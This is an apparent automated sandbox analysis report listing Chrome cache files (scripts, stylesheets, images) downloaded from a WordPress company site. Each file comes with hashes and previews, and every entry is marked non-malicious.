Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":5,"vtp_value":true,"tag_id":10},{"function":"__ogt_referral_exclusion","priority":5,"vtp_includeConditions":["list","twbcompany\\.com"],"tag_id":12},{"function":"__ogt_session_timeout","priority":5,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":13},{"function":"__ogt_1p_data_v2","priority":5,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECT

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	dropped
Size (bytes):	39618
Entropy (8bit):	7.9735962215835565
Encrypted:	false
SSDEEP:	768:KQHZgHYIsJyJ3rCIrHbpWk7YDSIQjsriZD1U5SK3eZzXyzoHdgXpIFQb+HjKO5VP:KQ5lIsJweKHdWmZBZpUEKudXyzoHmI2A
MD5:	2D146F049F0E2BE17E78682B81714B37
SHA1:	83043B24881873627A1FFE2145E8FEF27FC857D5
SHA-256:	57F8B778E6195A7015D3D8A2B8007959F9E255E7CCF7B1BFB91E79CBC3EF3C44
SHA-512:	033CD3F053819F2A07C034D7A344217F68E198D083B612D1F4E74FE50AD2E50AEA9B019B1544DF1FE852DCF7FD0FD5860A50DE1E9BFD4FC477889A370944F451
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:FB31B48458DB11E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:FB31B48358DB11E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15752)
Category:	downloaded
Size (bytes):	18726
Entropy (8bit):	4.756109283632968
Encrypted:	false
SSDEEP:	384:WTbvzWuPTb9Uh3o//bEPjXgA2k1efAJmpr:WX6U9Uh3o//YrXgAGfACr
MD5:	B976B651932BFD25B9DDB5B7693D88A7
SHA1:	7FCB7CB5C11227F9213B1E08A07D0212209E1432
SHA-256:	4E6CE5444C7F396CEF0EB1FA3611034151E485DD06FBE5573A5583E1EEBC98C3
SHA-512:	A241EBDCFAF153D5C2A86761145B2575CBE734B4F416ACBFAC082AE5C6EB7C706BD6CA3BC286B7E1A0F9E326729252DCB95B776750C4A3A0D81F2AA6258EA39F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-includes/js/wp-emoji-release.min.js?ver=6.5.4
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return e(d);return e(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:o},onerror:function(){this.parentNode&&this.parentNode.replaceChild(x(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return h.doNotParse=u.doNotParse,("string"==typeof d?function(d,a){return n(d,function(d){var u,f,c=d,e=N(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,r,n,o,s,i,l=function d(u,f){v

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	7
Entropy (8bit):	1.950212064914747
Encrypted:	false
SSDEEP:	3:Sn:S
MD5:	D97623D172F087D9640DA9ACD38830FF
SHA1:	515BD358BB7D990930F0E2B3DE399DB1787A2567
SHA-256:	FE04A9DC88D3F3BE8D4F6BC63A9A80F45A4C6D8460E7551DAB849457C091920A
SHA-512:	CE6A1969F698A616663F1A19CCFA12A37A4F6D782432D8A08AEB7879EFD3E2BECF168422EA66BC47E74F6BA865EFAAE6EABE3C4FABA280D7A21F3A94D7C55DA1
Malicious:	false
Reputation:	low
URL:	https://c.6sc.co/
Preview:	<p></p>

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 200 x 174, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13737
Entropy (8bit):	7.960474460615749
Encrypted:	false
SSDEEP:	192:whO7uLxFI5O2Sua8BTsEvuZyudkgCMELGumVMUlnSgiKc7JSRZuQTlqGuDEA2E50:WEl8T39X4Ku9I90tsTTPuLAkXkjiw
MD5:	F94512C8ED5C131E111BF5BA7D11C004
SHA1:	A0B4752C55D3730A131BB606F2977F92512DD7E9
SHA-256:	AD9288DE27871EF3089A9244459A1CE35AB7F333097B4D70219A2B5F9C57EB7D
SHA-512:	D1F68B9A403A7A9B8B3A6E4E5842F76B080F7ABBFA207B6530548C5699C90EEC64D4DC677AC462553AA3A267FE2D3F023E869428079A5A7F816AFF1B44810970
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............s.B.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A86DB729439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:A86DB728439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CC 2015 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="EE4B07EDD9EDFC539B2469A8C4863032" stRef:documentID="EE4B07EDD9EDFC539B2469A8C4863032"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>9.....2)IDATx..]..\U.?...fS6..R.!...E"(H...D........*".E..b.P..A.&....Q .C.BB.i.B...y.;.....yo...wv...N.3...~.=.r........SO....

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 475x200, components 3
Category:	downloaded
Size (bytes):	3709
Entropy (8bit):	6.089194541536591
Encrypted:	false
SSDEEP:	48:UuNn2kPMJ3R1ZdQ+jCKmtSn+/XHiDepaV9LiUKEWPk9urtBY1C0:z2zbz8t5/XCuABiUKx+oyM0
MD5:	237ABE994466CBB8B64C9F98DD87C2F2
SHA1:	77EC30E0C4966D208367CC2CAECF15C830989226
SHA-256:	EC95316236558B82C1F517944AB70ACE01A277128A9E0CDEAA54BC67D82479ED
SHA-512:	AF89C58392EB3092A71AE95D2580E694D8AA398075C716DCF77E6060CB0413536D762B267884EEB3BFABD7653A9B12E2C90658EC1746BA431D1AE15307EA5B96
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/09/longitudinal-rail.jpg
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:9EBE0C1CB64C11E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:9EBE0C1DB64C11E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9EBE0C1AB64C11E5960E89E0CB43E699" stRef:documentID="xmp.did:9EBE0C1BB64C11E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.0859863571819224
Encrypted:	false
SSDEEP:	12:ta/ampMdRNaeZbelEsKse2VnnhYRsxIh/P+na5BaJ:oSmpMcTEsK9AnYjh/P+a5s
MD5:	A2E0DC7C6DA05CECF78062CDE3B59A50
SHA1:	D0DCCCA38DC112E0F1947E305FCBE835D3B6861C
SHA-256:	C80C4A308CBBDF1491C064897D44026C8D2804EFB7961D451DA4570090B60B2D
SHA-512:	1DF2ACC03B2D1D0394E875AF339453764CBA5619F2A94FB66AE6F2AAAEEC7F9BF50240D51C28404E8915AB30F5AD2A3B08B57F153C460BF13E22C8D6AC61767F
Malicious:	false
Reputation:	low
Preview:	............ .h.......(....... ..... .........#...#...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................hC,...v.....b<%.lH2.nK5.nJ4.jE/.pM8..~o.oL6.jE/..lZ.........uR>.L...[2..U+..U,....p.F...X/....q.D...lG2..eR.mI2.?.........jE/.{ZG.xWB.pM8...p.....yXD..\|m......aN.tR=.{[G.vT?..zj...............................................................................................................................................................................................................................................

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	dropped
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x600, components 3
Category:	downloaded
Size (bytes):	165619
Entropy (8bit):	7.98187274018574
Encrypted:	false
SSDEEP:	3072:+whNJLlD2ooQMas1d4aZQhYf9f1dYST51mRpo/9+f578EkNGI2a+jP7y9O0pecXn:+whNJ8oDM3P47heL/V1coC78E+5sjy9t
MD5:	21CCB2C5B861BB3E187C698FC16D98B8
SHA1:	BF9BAC73EC6F6720015B907CC9D2BECD2269815E
SHA-256:	221281C7B27438D45B9D1EFB77924E118116AD108662AAD103A443371D7FDDB3
SHA-512:	16588D133A7E8AD3E85480E8299695D567D4E789DC62CDC30D26D55EEA2FB246C341935378D69894464D63A045BB116CE48E71FAFF191E45BCE95573E1B08039
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/generic-bg.jpg
Preview:	......Exif..II*.................Ducky.......<.....2http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.3 (Macintosh)" xmpMM:InstanceID="xmp.iid:C591FF87B3BB11EEBC85D4E5589EF600" xmpMM:DocumentID="xmp.did:C591FF88B3BB11EEBC85D4E5589EF600"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C591FF85B3BB11EEBC85D4E5589EF600" stRef:documentID="xmp.did:C591FF86B3BB11EEBC85D4E5589EF600"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..........................................................................................................................

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32038)
Category:	downloaded
Size (bytes):	95957
Entropy (8bit):	5.39099763946861
Encrypted:	false
SSDEEP:	1536:OP10iSi65U/dXXeyhzeBuG+HYE0WEeLDFoNqLTW8+S5VRZIVI6xSb8xh2ZbQnRmc:R+41ZqLTW8xRrqSb8qGH77da98Hrf
MD5:	895323ED2F7258AF4FAE2C738C8AEA49
SHA1:	276C87FF3E1E3155679C318938E74E5C1B76D809
SHA-256:	ECB916133A9376911F10BC5C659952EB0031E457F5DF367CDE560EDBFBA38FB8
SHA-512:	C40111C3CC0754E90CF71F72F7F16F43B835B7E808423DFD99F90DD5177538B702E64FF1D9EE8D3BC86AEAA11B6F7A0EF826184E354B162158839FFB75D174CC
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-1.11.3.min.js?ver=1.11.3
Preview:	/! jQuery v1.11.3 \| (c) 2005, 2015 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.3",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 475x200, components 3
Category:	dropped
Size (bytes):	3709
Entropy (8bit):	6.089194541536591
Encrypted:	false
SSDEEP:	48:UuNn2kPMJ3R1ZdQ+jCKmtSn+/XHiDepaV9LiUKEWPk9urtBY1C0:z2zbz8t5/XCuABiUKx+oyM0
MD5:	237ABE994466CBB8B64C9F98DD87C2F2
SHA1:	77EC30E0C4966D208367CC2CAECF15C830989226
SHA-256:	EC95316236558B82C1F517944AB70ACE01A277128A9E0CDEAA54BC67D82479ED
SHA-512:	AF89C58392EB3092A71AE95D2580E694D8AA398075C716DCF77E6060CB0413536D762B267884EEB3BFABD7653A9B12E2C90658EC1746BA431D1AE15307EA5B96
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:9EBE0C1CB64C11E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:9EBE0C1DB64C11E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9EBE0C1AB64C11E5960E89E0CB43E699" stRef:documentID="xmp.did:9EBE0C1BB64C11E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	787
Entropy (8bit):	7.535224668131678
Encrypted:	false
SSDEEP:	24:YgktmKBgMJliZv7AmrYq1Yv6Bv9aRdgcafK:Yge5lgv7AFqm81qdgcafK
MD5:	43F0AB4CBCC999CF3D3BD81BB05FE952
SHA1:	8B0F5C1805305E826C8457935C6BE08C22C46A85
SHA-256:	5F979BB91EAF11B4A8F292CF49BAB2250EB755CFF8F6A10169977DB44ACABD3E
SHA-512:	1F164474D779239ECDAE5A39CDF1D13AD93CD1B2920600FF4364E2A429DED442702B84E03449D08ED9740564125DFB56FFE8FE59D77E29BE2ED951EC74C7DAD5
Malicious:	false
Reputation:	low
URL:	https://browser-update.org/static/img/small/c.png
Preview:	.PNG........IHDR.............(-.S....PLTE...E.J....hW.gW7.@.aQ..7.F9.A.^P.^P.........z.4B.EF.F. ..G@.DI.G......RG....#."...QG.gV=.B.'F8.AL.H9.A.[N.U>7.A...dT.cS.QG.......\O.G@.D<.B>..B.D?.D:.A.G@...T..Dq..N..]....s.]O3.NG.F-.-,.+.w$.v#...%...................X...........v.......R..G..?.......e..\|..V..R..6~.'q......g...........q...}..w.hb,.O..N..L(.I..G.PGD.E6.D{.A:.?..>.8>a.:..7.=7.;7.)4.!2.'0,...4...,..(.%. ..cu...........................v....)j. ...*tRNS.....d#...................zzsnlkgeXSJ....c.......IDAT..c..M6.ff.9..(P....[.6._V..$@\|..SS.ZW.j= P``.`,..h....uvrvRgP.,..........pw.d.e.k..........fb...kN..177.I...2...7.E&...&..x.D....}-..,.r.Z......-,".<....8.....m..m.t.......M.B5.e=..f.2 ......g....A<..iR.....(....0?...;...H/4.........IEND.B`.

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	1.950212064914747
Encrypted:	false
SSDEEP:	3:Sn:S
MD5:	D97623D172F087D9640DA9ACD38830FF
SHA1:	515BD358BB7D990930F0E2B3DE399DB1787A2567
SHA-256:	FE04A9DC88D3F3BE8D4F6BC63A9A80F45A4C6D8460E7551DAB849457C091920A
SHA-512:	CE6A1969F698A616663F1A19CCFA12A37A4F6D782432D8A08AEB7879EFD3E2BECF168422EA66BC47E74F6BA865EFAAE6EABE3C4FABA280D7A21F3A94D7C55DA1
Malicious:	false
Reputation:	low
Preview:	<p></p>

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59701)
Category:	downloaded
Size (bytes):	113381
Entropy (8bit):	4.921824878665509
Encrypted:	false
SSDEEP:	1536:MZeJKfZdlk2u5SOV+UQ37410kxJdPfrF3Ps:MZeJMTk2u5SOV+UQ37410kTd3Z3Ps
MD5:	51A8390B47AA0582CF2D9C96C5ADDEE2
SHA1:	B16A640874025D085C38119A1A02A3460F83F2DE
SHA-256:	98CECF88A23542FA047CE46EEDB650B5C5128761ED4386C0977B847094DDFA20
SHA-512:	711162AB43E59E0FF5F050CCA4278682194248A13EF2EE1F00AB276B6221E7A4DDDEB9645E8798E7F67A34F0001C8F63469F2B2C3E6D4E2519ADA30B6775E191
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-includes/css/dist/block-library/style.min.css?ver=6.5.4
Preview:	@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-bl

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x600, components 3
Category:	dropped
Size (bytes):	165619
Entropy (8bit):	7.98187274018574
Encrypted:	false
SSDEEP:	3072:+whNJLlD2ooQMas1d4aZQhYf9f1dYST51mRpo/9+f578EkNGI2a+jP7y9O0pecXn:+whNJ8oDM3P47heL/V1coC78E+5sjy9t
MD5:	21CCB2C5B861BB3E187C698FC16D98B8
SHA1:	BF9BAC73EC6F6720015B907CC9D2BECD2269815E
SHA-256:	221281C7B27438D45B9D1EFB77924E118116AD108662AAD103A443371D7FDDB3
SHA-512:	16588D133A7E8AD3E85480E8299695D567D4E789DC62CDC30D26D55EEA2FB246C341935378D69894464D63A045BB116CE48E71FAFF191E45BCE95573E1B08039
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....2http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.3 (Macintosh)" xmpMM:InstanceID="xmp.iid:C591FF87B3BB11EEBC85D4E5589EF600" xmpMM:DocumentID="xmp.did:C591FF88B3BB11EEBC85D4E5589EF600"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C591FF85B3BB11EEBC85D4E5589EF600" stRef:documentID="xmp.did:C591FF86B3BB11EEBC85D4E5589EF600"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..........................................................................................................................

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2550 x 896, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1724038
Entropy (8bit):	7.985733919825843
Encrypted:	false
SSDEEP:	24576:w+ab7I9x1ka27mbFdzeK/5mWnwS9rHKopo1Rc7su4hg9IIIjg7i34Dzw4u:w+aHBCSacS9rHK6wOKIIk+3qzw4u
MD5:	E06396102D509318D7BAEA5280885E27
SHA1:	C3C34467D30941317853B8A578BF65CDB78C11CB
SHA-256:	1E668724AA6614C32BF2D85C8C14D8D03577255229F651DE966A52020316CE97
SHA-512:	C5F72A7D79DBF36A64A5ABBDB8B848D66306BCF851F3A86C9CA334C2CC0C1559507AE2D45D930891F5ECC363CAAC8FA7F15EC4712F3CB4D3B30058C47C07F501
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............r.....liCCPICC Profile..H..W.XS...[RIh..........B. ..6B.H(1&..;....E.+...V@..E.......bC.MH@.}.{....?g.....{.....J.Qm..$.......&.. @.... ..r);>>.@...]...P.:+..9._EW ...@.@.%... >..../...@T.&.J.x..z2. .+.8G..+q....IN.@\|..2.....y..E.....bW.@,.@k..\|.O..2.a......b{h/....XY.q...?k...........K.yS....o).W.....&.E&.5..7!Z.i.wI.b....X..;.(U..LQ.&\|9....@...FCl.q.$?6F.....s!....,..&Cl..\|.<,Im.Q6!Q....q.j.9......E^.[..F$..1.bQr..T......kB.".K.V.(.qb.ld.De...'.%.!~.([..../+...m....j..P.....v.....].J.).<B....\...0U..s.$%I..AZ...Z.S...j{.R....[B.)/JR..S...T......dU.xq./^.........L..#.L..@.......f....@...g.f`EZ...^.@1.."!......."..2.U].Av.lQ..<........oE...T..j........C9.....o.6..5...L..Kb.1..I.':..x ...k0..8.....=.)....p..N.=^\".!....k..}-p[......2...1p.=..6..={A-G.........wOCmGq...!.`...+5.5..Y....>.X........?....=.GKl>..;....c.....a.X.vD..w...5.-.?.<.#..?....r.Z.N...B..B...L.N..sD.L6\|;..\..e........F...6......\|......c}}

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 961 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	14686
Entropy (8bit):	7.9593736775439226
Encrypted:	false
SSDEEP:	192:DFq+r5ipc0Ckcs+4+xF07t60Cc96LwTRpTJXqxkJM6cVadNSAM4od618deMfDWyf:BqzgW+417lwsdHOqV7NapoW8cWyOvG5
MD5:	D69E99F3FF1FEC7A12E7B6CCB2F2CBB9
SHA1:	3A564871372848B00867E59F0F6EA29B0B48923D
SHA-256:	D46863CFFB4A1125E4EB8659788EE486C186A77A1D4861273A3F2885EA5EB8B8
SHA-512:	42E4C6850A4260C82409D2D83589ED2B59279C3FC6DEA9B25EFF65BD1084FE4D67BB984A4E1413294B290A024EE96716AB469715093C290FD24EE7F04D3ADB2D
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/flags.png
